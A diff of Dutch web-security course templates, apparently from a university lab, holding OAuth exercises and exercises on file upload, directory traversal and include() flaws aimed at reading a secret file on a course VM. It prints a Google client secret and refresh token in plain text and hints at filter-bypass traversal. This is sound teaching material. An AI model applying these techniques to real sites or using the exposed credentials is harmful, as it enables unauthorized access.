header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google Calender
|
||||
te zien in JSON formaat.</p>
|
||||
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
|
||||
|
||||
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
|
||||
</div>
|
||||
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken, maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
|
||||
|
||||
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag
|
||||
weer de
|
||||
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
|
||||
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
|
||||
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
|
||||
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
|
||||
<h3>Access tokens</h3>
|
||||
|
||||
<p>Details over Google OAuth 2.0 kan je vinden op
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
|
||||
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &
|
||||
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
|
||||
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
|
||||
<p>OAuth lost dit probleem op door het concept van een <b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de server deze kan verifiëren.</p>
|
||||
|
||||
<p>Gebruik de authorisatie URL zoals die
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
|
||||
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
|
||||
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
|
||||
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
|
||||
<img src="static/img/oauth_facebook.png" class="center-block">
|
||||
|
||||
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die
|
||||
requests). Gevoelige data mag je met ***** censureren.</span>
|
||||
</div>
|
||||
<figure>
|
||||
<img src="static/img/auth_access_token.png" class="center-block">
|
||||
</figure>
|
||||
|
||||
<h3>Mini webapp</h3>
|
||||
<p>Je kan ook een speciale <b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
|
||||
|
||||
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je
|
||||
mag ook een OAuth framework gebruiken)</p>
|
||||
<h3>Opdrachten</h3>
|
||||
|
||||
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
|
||||
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
|
||||
<p>Deze site heeft ook een API die te vinden is op: <a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we de API kunnen aanroepen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
|
||||
</div>
|
||||
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API aanroep doet. Voor deze opdracht kan je die aanmaken op <a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
|
||||
|
||||
{% endblock %}
|
||||
<ul>
|
||||
<li><b>Name</b>: mag je zelf kiezen</li>
|
||||
<li><b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
|
||||
<li><b>Client secret</b>: mag je zelf kiezen</li>
|
||||
<li><b>Client type</b>: Confidential</li>
|
||||
<li><b>Authorization grant type</b>: Implicit</li>
|
||||
<li><b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
|
||||
</ul>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/oauth_register.png" style="width: 50%">
|
||||
</figure>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de endpoints van een aantal bekende servers:</p>
|
||||
|
||||
<table border="1" cellpadding="4">
|
||||
<tr>
|
||||
<th>Service</th>
|
||||
<th>Authorization endpoint</th>
|
||||
<th>Token endpoint</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Dit vak</td>
|
||||
<td>http://sec1.aii.avans.nl/o/authorize/</td>
|
||||
<td>http://sec1.aii.avans.nl/o/token/</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>GitHub</td>
|
||||
<td>https://github.com/login/oauth/authorize</td>
|
||||
<td>https://github.com/login/oauth/access_token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Google</td>
|
||||
<td>https://accounts.google.com/o/oauth2/auth</td>
|
||||
<td>https://accounts.google.com/o/oauth2/token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Facebook</td>
|
||||
<td>https://www.facebook.com/dialog/oauth</td>
|
||||
<td>https://graph.facebook.com/oauth/access_token</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan' te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie code nodig.</p>
|
||||
|
||||
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
|
||||
|
||||
<ul>
|
||||
<li><b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access tokens mee maken. <i>Voor deze opdracht gebruiken we "token"</i>.</li>
|
||||
<li><b>client_id</b>: Jouw gekozen client id</li>
|
||||
<li><b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie code of access token</li>
|
||||
<li><b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
|
||||
<li><b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect. Kan handig zijn.</li>
|
||||
</ul>
|
||||
|
||||
<p>Voor deze site is de authorisatie URL:<br>
|
||||
<span class="url">http://sec1.aii.avans.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span></p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint"><strong>Hint:</strong> Let je wel op dat er een slash staat achter <code>authorize</code> in de URL?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel seconden is deze token code geldig?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>De access token kan je nu gebruiken om een request te doen naar <a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
|
||||
|
||||
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
|
||||
|
||||
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen headers en data. In de screenshots gebruiken we <a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
|
||||
|
||||
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint"><strong>Hint:</strong> Let op dat je de Authorization data als <i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
|
||||
|
||||
|
||||
<h3>Web applicaties</h3>
|
||||
|
||||
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
|
||||
|
||||
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
|
||||
|
||||
<ol>
|
||||
<li>Ga naar <a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als <b>Authorization grant type</b> de waarde <b>Authorization code</b> heeft.<br>
|
||||
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
|
||||
</li>
|
||||
|
||||
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met <b>response_type=code</b> in plaats van response_type=token</li>
|
||||
|
||||
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
|
||||
</ol>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke authorisatie code heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
|
||||
|
||||
|
||||
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token. Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
|
||||
|
||||
<ul>
|
||||
<li><b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
|
||||
<li><b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
|
||||
<li><b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
|
||||
<li><b>client_id</b>: De client id die je hebt verzonnen</li>
|
||||
<li><b>client_secret</b>: De client secret die je hebt verzonnen</li>
|
||||
</ul>
|
||||
|
||||
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response met daarin de refresh_token (en een gratis access_token!). Als je een <code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een <code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En als je een <code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt <i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een keer extra goed of de URL eindigt op <code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
|
||||
|
||||
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
|
||||
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
|
||||
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker. Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
|
||||
|
||||
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
|
||||
|
||||
<h3>Google</h3>
|
||||
|
||||
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
|
||||
|
||||
<code style="display: block;">
|
||||
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
|
||||
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
|
||||
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
|
||||
|
||||
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token) om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter op 'refresh_token' zetten:</p>
|
||||
|
||||
<p class="hint"><strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
|
||||
|
||||
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<p>Gebruik de access token die je krijgt om een API call te doen naar <span class="url">https://www.googleapis.com/calendar/v3/calendars/secavans@gmail.com/events</span>. Vergeet niet weer de juiste Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google Calender te zien in JSON formaat.</p>
|
||||
|
||||
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
|
||||
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag weer de <a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een <a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals <a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of <a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
|
||||
|
||||
<p>Details over Google OAuth 2.0 kan je vinden op <a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de <a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs & auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
|
||||
|
||||
<p>Gebruik de authorisatie URL zoals die <a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
|
||||
|
||||
<p class="hint"><strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld <a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die requests). Gevoelige data mag je met ***** censureren.</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
|
||||
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Mini webapp</h3>
|
||||
|
||||
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je mag ook een OAuth framework gebruiken)</p>
|
||||
|
||||
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
|
||||
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
|
||||
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
+58
-54
@@ -1,82 +1,86 @@
|
||||
{% extends 'base.html' %} {% block content %}
|
||||
{% extends "base.html" %}
|
||||
|
||||
<h1>Insecure Direct Object References</h1>
|
||||
{% block content %}
|
||||
|
||||
<img src="/static/img/imgr.png">
|
||||
<h1>Insecure Direct Object References</h1>
|
||||
|
||||
<h2>Image site</h2>
|
||||
<img src="/static/img/imgr.png">
|
||||
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
|
||||
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
|
||||
<h2>Image site</h2>
|
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
|
||||
wat de inhoud van dit bestandje is.</p>
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit wat de inhoud van dit bestandje is.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
|
||||
<p class="hint"><strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<input class="question-input" name="answer_path_secret" value="{{ answers.answer_path_secret.string }}"></input>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak het script dat je hebt gebruikt</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<textarea class="question-input" name="answer_path_secret_script">{{ answers.answer_path_secret_script.string }}</textarea>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2>
|
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
|
||||
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
|
||||
<h2>Image 2</h2>
|
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver bereikbaar is. De plaatjes worden nu via een speciaal image.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
|
||||
|
||||
<p class="hint">Met een paar extra
|
||||
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
|
||||
<p class="hint">Met een paar extra <code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<input class="question-input" name="answer_path_image_url" value="{{ answers.answer_path_image_url.string }}">
|
||||
</div>
|
||||
|
||||
<p>Verander image.php in image_check_prefix.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
|
||||
<p>Verander image.php in image_check_prefix.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<input class="question-input" name="answer_path_image_url_prefix" value="{{ answers.answer_path_image_url_prefix.string }}">
|
||||
</div>
|
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
|
||||
URL kan gebruiken.</p>
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de URL kan gebruiken.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
|
||||
URL filterde?</p>
|
||||
<p class="hint"><strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de URL filterde?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<input class="question-input" name="answer_path_image_url_remove_traversal" value="{{ answers.answer_path_image_url_remove_traversal.string }}">
|
||||
</div>
|
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<textarea class="question-input" name="answer_path_image_fix">{{ answers.answer_path_image_fix.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block">
|
||||
<img src="/static/img/parent_dir.png" class="center-block">
|
||||
|
||||
<h2>Image 3</h2>
|
||||
<h2>Image 3</h2>
|
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
|
||||
<p class="hint"><strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
|
||||
<code>include()</code> ziet er interessant uit...</p>
|
||||
<p class="hint"><strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met <code>include()</code> ziet er interessant uit...</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
|
||||
<div class="points"><span class="question-points">0</span> punten</div>
|
||||
<textarea class="question-input" name="answer_path_include_explain">{{ answers.answer_path_include_explain.string }}</textarea>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
+140
-161
@@ -1,224 +1,203 @@
|
||||
{% extends 'base.html' %} {% block content %}
|
||||
<style>
|
||||
code i {
|
||||
color: blue;
|
||||
font-style: normal;
|
||||
font-weight: bold;
|
||||
}
|
||||
{% extends "base.html" %}
|
||||
|
||||
p code {
|
||||
padding: 0;
|
||||
margin: 2px;
|
||||
}
|
||||
</style>
|
||||
{% block content %}
|
||||
|
||||
<h1>Web App Security</h1>
|
||||
<style>
|
||||
code i {
|
||||
color: blue;
|
||||
font-style: normal;
|
||||
font-weight: bold;
|
||||
}
|
||||
p code {
|
||||
padding: 0;
|
||||
margin: 2px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
|
||||
komen we meteen bij een gouden regel:</p>
|
||||
<h1>Security 1</h1>
|
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is
|
||||
<strong>niet</strong> toegestaan</blockquote>
|
||||
<p>Welkom bij Security 1! Dit vak gaan we ons richten op het hacken van websites. En met die zin komen we meteen bij onze gouden regel voor dit vak:</p>
|
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
|
||||
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
|
||||
